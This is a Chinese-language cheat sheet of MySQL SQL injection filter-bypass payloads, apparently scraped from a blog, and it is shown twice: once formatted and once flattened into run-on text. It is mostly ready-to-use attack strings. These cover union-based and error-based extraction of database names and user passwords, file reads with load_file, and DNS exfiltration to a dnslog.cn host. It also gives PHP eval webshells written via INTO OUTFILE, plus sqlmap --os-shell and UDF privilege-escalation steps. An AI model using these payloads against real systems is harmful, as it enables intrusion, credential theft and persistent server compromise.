再谈注入
字数 4765 2025-08-06 08:35:44

SQL注入绕过技术全面指南

一、联合注入(Union Select)绕过技术

1. 字段数探测绕过

  • 常规方法order by 4--+
  • 替代方法
    • 使用group by替代:/*!50000group*/ by 4--+1
    • 内联注释:id=1 /*!50000group*/ by 4--+1
    • 大小写混合:GrOuP bY 4--+

2. Union Select绕过

  • 换行绕过union -- hex()%0a select 1,2,3--+
  • 内联注释
    • 数字内联:union/*!50000*/select 1,2,3--+
    • 中文内联:union/*", 1 我S "*/select/*", 2 AS "*/1,2,3--+
  • 垃圾数据干扰and (select 1)=(Select 0xA*10)+UnIoN+SeLeCT+1,2,3--+
  • 函数/关键字夹杂
    • 使用distinctunion distinct select 1,2,3--+
    • 使用alland .1union all(select@1,2,3)--+
    • 使用joinunion select *FrOm(SeLeCt 1)a JOIN (SeLeCt 2)b JOIN (SeLeCt 3)c--+
  • 特殊符号
    • \N\Nunion(select 1,2,\Nfrom table)--+
    • {}union select 1,2,3 FROM{x table}--+
    • 反引号:union select 1,`table_name`,3 from `information_schema`.`tables`--+

二、Group_Concat绕过技术

  • concat替代union select 1,concat(table_name),3 from information_schema.tables limit 0,1--+
  • concat_ws使用uniOn sEleCt 1,2,group_concat(concat_ws('@',table_name)separator '<br>')--+
  • 特殊符号union select .1,`concat`(table_name),3 from information_schema.tables--+

三、Information_schema绕过

  • 科学计数法union select 1,2,3e0from information_schema.tables--+
  • 特殊符号union select 1,2,3 FROM{x information_schema.tables}--+
  • 反引号使用
    • `information_schema`.`tables`
    • information_schema.`tables`
    • information_schema/**/.tables

四、等号(=)绕过

  • like/rlikewhere table_schema like "security"
  • 内联注释database()=(database/*!12345()*/)

五、报错注入绕过技术

1. Updatexml绕过

  • 基础payloadand updatexml(1,concat(0x7e,(select database()),0x7e),1)
  • 逻辑运算符替换
    • andor/xor/&&/%26%26
    • or||/|
  • 函数名处理
    • 特殊符号:id=1 /*!50000%7c*/ -`updatexMl`(1,concat(0x7e,(select database()),0x7e),1)--+
  • concat替换
    • make_set/*!12345maKe_set*/(3,0x7e,(select database()))
    • export_set
  • select省略:直接使用database()而不需要select database()
  • 分片读取and updatexml(1,concat(0x7e, substr((select password from users limit 0,1),1,16),0x7e),1)--+

2. Extractvalue绕过

  • 基础payloadand extractvalue(1,concat(0x7e,(select database()),0x7e))--+
  • procedure绕过
    • id=1 LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)--+
    • procedure%23koo*/*bar%0D%0Aanalyse%23koo%0D%0A(extractvalue(rand(),concat(0x3a,database())),1)--+

3. Floor报错绕过

  • 基础payloadand (select 1 from(select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
  • 查表concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 1,1
  • 查字段concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=0x7573657273 LIMIT 1,1
  • 查数据concat(0x23,username,0x3a,password,0x23) FROM users limit 7,1

4. 几何函数报错

  • geometrycollectionand geometrycollection((select * from(select * from(select database())a)b))--+
  • multipoint/polygon/linestring等函数类似使用

5. Exp报错

  • and exp(~(select * from(select database())a))--+

6. Bigint溢出

  • and(select!x-~0.+from(select(select+group_concat(Version()))x)x)

7. Double query

  • or 1 group by concat_ws(0x7e,database(),floor(rand(0)*2)) having min(0) or 1--+

六、文件读写技术

1. 权限检查

  • and (select count(*) from mysql.user)>0
  • and (select count(file_priv) from mysql.user)>0

2. 文件读取

  • load_file
    • union select 1,load_file('C:/test.txt'),3--+
    • 十六进制:union select 1,load_file(0x433A2F746573742E747874),3--+
    • ASCII:union select 1,load_file(char(99,58,47,116,101,115,116,46,116,120,116)),3--+
  • DNS外带
    • union select 1,2,load_file(concat('\\\\',hex((select load_file('C:/test.txt'))),'.dnslog.cn\\test'))--+
  • 报错注入读取
    • and updatexml(1,concat(0x7e,(LOAD_FILE('D:/1.php')),0x7e),0)--+
    • 分片读取:and updatexml(1,concat(0x7e,(select substr(load_file("D:/1.php") from 1 for 32)),1),1)--+

3. 文件写入

  • 基础payload
    • union select null,null,"<?php @eval($_POST[a]);?>" into outfile "C:/test.php"--+
    • 十六进制:union select null,null,0x3C3F70687020406576616C28245F504F53545B615D293B3F3E into outfile "C:/test.php"--+
  • 替代语法
    • into dumpfile
    • fields terminated byinto outfile "C:/test.php" fields terminated by 0x3c3f70687020706870696e666f28293b3f3e--+
    • lines terminated byor+1=1+LIMIT+0,1+INTO+OUTFILE+'C:/test.php'+LINES+TERMINATED+BY+0x3c3f706870206576616C28245F504F53545B2761275d293b3f3e--+

4. secure_file_priv为null时的读取

drop table mysql.m1;
CREATE TABLE mysql.m1 (code TEXT);
LOAD DATA LOCAL INFILE 'C:/test.txt' INTO TABLE mysql.m1 fields terminated by '';
select * from mysql.m1;

七、SQLMap高级使用技巧

1. 常用参数

  • --random-agent:随机User-Agent
  • --dbms=mysql:指定数据库类型
  • --technique=U:指定注入技术(U=Union)
  • --prefix "')" --suffix "--('":自定义前后缀

2. 空格处理

  • --tamper=space2plus:空格替换为+
  • --skip-urlencode:跳过URL编码

3. 高权限利用

  • 已知路径
    • --os-shell
    • --file-write=local.php --file-dest=/var/www/html/shell.php
    • --sql-shell中执行:select "<?php @eval($_POST[1]);?>" into outfile "/var/www/html/shell.php";-- -
  • 未知路径
    • 读取配置文件:/etc/httpd/conf/httpd.conf
    • 读取数据库密码尝试外连
    • select @@plugin_dir;查找插件目录进行UDF提权
    • 破解MySQL密码后寻找phpMyAdmin等管理界面

八、其他实用技巧

  • 参数污染uid=1&id=-2id=-1+div+0
  • 科学计数法3e0from替代3 from
  • 内联注释/*!50000sql*/中的数字可调整(10000-50000)
  • 编码转换:使用hex/char/ASCII编码绕过过滤
  • 注释技巧--+#/* */等多种注释方式组合使用

本指南涵盖了SQL注入绕过的主流技术,实际应用中需根据具体环境灵活组合使用这些方法。

SQL注入绕过技术全面指南 一、联合注入(Union Select)绕过技术 1. 字段数探测绕过 常规方法 : order by 4--+ 替代方法 : 使用 group by 替代: /*!50000group*/ by 4--+1 内联注释: id=1 /*!50000group*/ by 4--+1 大小写混合: GrOuP bY 4--+ 2. Union Select绕过 换行绕过 : union -- hex()%0a select 1,2,3--+ 内联注释 : 数字内联: union/*!50000*/select 1,2,3--+ 中文内联: union/*", 1 我S "*/select/*", 2 AS "*/1,2,3--+ 垃圾数据干扰 : and (select 1)=(Select 0xA*10)+UnIoN+SeLeCT+1,2,3--+ 函数/关键字夹杂 : 使用 distinct : union distinct select 1,2,3--+ 使用 all : and .1union all(select@1,2,3)--+ 使用 join : union select *FrOm(SeLeCt 1)a JOIN (SeLeCt 2)b JOIN (SeLeCt 3)c--+ 特殊符号 : \N : \Nunion(select 1,2,\Nfrom table)--+ {} : union select 1,2,3 FROM{x table}--+ 反引号: union select 1,`table_name`,3 from `information_schema`.`tables`--+ 二、Group_ Concat绕过技术 concat替代 : union select 1,concat(table_name),3 from information_schema.tables limit 0,1--+ concat_ ws使用 : uniOn sEleCt 1,2,group_concat( concat_ ws ('@',table_name)separator '<br>')--+ 特殊符号 : union select .1,`concat`(table_name),3 from information_schema.tables--+ 三、Information_ schema绕过 科学计数法 : union select 1,2,3e0from information_schema.tables--+ 特殊符号 : union select 1,2,3 FROM{x information_schema.tables}--+ 反引号使用 : `information_schema`.`tables` information_schema.`tables` information_schema/**/.tables 四、等号(=)绕过 like/rlike : where table_schema like "security" 内联注释 : database()=(database/*!12345()*/) 五、报错注入绕过技术 1. Updatexml绕过 基础payload : and updatexml(1,concat(0x7e,(select database()),0x7e),1) 逻辑运算符替换 : and → or / xor / && / %26%26 or → || / | 函数名处理 : 特殊符号: id=1 /*!50000%7c*/ -`updatexMl`(1,concat(0x7e,(select database()),0x7e),1)--+ concat替换 : make_set : /*!12345 maKe_ set */(3,0x7e,(select database())) export_set select省略 :直接使用 database() 而不需要 select database() 分片读取 : and updatexml(1,concat(0x7e, substr((select password from users limit 0,1),1,16),0x7e),1)--+ 2. Extractvalue绕过 基础payload : and extractvalue(1,concat(0x7e,(select database()),0x7e))--+ procedure绕过 : id=1 LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)--+ procedure%23koo*/*bar%0D%0Aanalyse%23koo%0D%0A(extractvalue(rand(),concat(0x3a,database())),1)--+ 3. Floor报错绕过 基础payload : and (select 1 from(select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+ 查表 : concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 1,1 查字段 : concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=0x7573657273 LIMIT 1,1 查数据 : concat(0x23,username,0x3a,password,0x23) FROM users limit 7,1 4. 几何函数报错 geometrycollection : and geometrycollection((select * from(select * from(select database())a)b))--+ multipoint/polygon/linestring 等函数类似使用 5. Exp报错 and exp(~(select * from(select database())a))--+ 6. Bigint溢出 and(select!x-~0.+from(select(select+group_concat(Version()))x)x) 7. Double query or 1 group by concat_ws(0x7e,database(),floor(rand(0)*2)) having min(0) or 1--+ 六、文件读写技术 1. 权限检查 and (select count(*) from mysql.user)>0 and (select count(file_priv) from mysql.user)>0 2. 文件读取 load_ file : union select 1,load_file('C:/test.txt'),3--+ 十六进制: union select 1,load_file(0x433A2F746573742E747874),3--+ ASCII: union select 1,load_file(char(99,58,47,116,101,115,116,46,116,120,116)),3--+ DNS外带 : union select 1,2,load_file(concat('\\\\',hex((select load_file('C:/test.txt'))),'.dnslog.cn\\test'))--+ 报错注入读取 : and updatexml(1,concat(0x7e,(LOAD_FILE('D:/1.php')),0x7e),0)--+ 分片读取: and updatexml(1,concat(0x7e,(select substr(load_file("D:/1.php") from 1 for 32)),1),1)--+ 3. 文件写入 基础payload : union select null,null,"<?php @eval($_POST[a]);?>" into outfile "C:/test.php"--+ 十六进制: union select null,null,0x3C3F70687020406576616C28245F504F53545B615D293B3F3E into outfile "C:/test.php"--+ 替代语法 : into dumpfile fields terminated by : into outfile "C:/test.php" fields terminated by 0x3c3f70687020706870696e666f28293b3f3e--+ lines terminated by : or+1=1+LIMIT+0,1+INTO+OUTFILE+'C:/test.php'+LINES+TERMINATED+BY+0x3c3f706870206576616C28245F504F53545B2761275d293b3f3e--+ 4. secure_ file_ priv为null时的读取 七、SQLMap高级使用技巧 1. 常用参数 --random-agent :随机User-Agent --dbms=mysql :指定数据库类型 --technique=U :指定注入技术(U=Union) --prefix "')" --suffix "--('" :自定义前后缀 2. 空格处理 --tamper=space2plus :空格替换为+ --skip-urlencode :跳过URL编码 3. 高权限利用 已知路径 : --os-shell --file-write=local.php --file-dest=/var/www/html/shell.php --sql-shell 中执行: select "<?php @eval($_POST[1]);?>" into outfile "/var/www/html/shell.php";-- - 未知路径 : 读取配置文件: /etc/httpd/conf/httpd.conf 读取数据库密码尝试外连 select @@plugin_dir; 查找插件目录进行UDF提权 破解MySQL密码后寻找phpMyAdmin等管理界面 八、其他实用技巧 参数污染 : uid=1&id=-2 或 id=-1+div+0 科学计数法 : 3e0from 替代 3 from 内联注释 : /*!50000sql*/ 中的数字可调整(10000-50000) 编码转换 :使用hex/char/ASCII编码绕过过滤 注释技巧 : --+ 、 # 、 /* */ 等多种注释方式组合使用 本指南涵盖了SQL注入绕过的主流技术,实际应用中需根据具体环境灵活组合使用这些方法。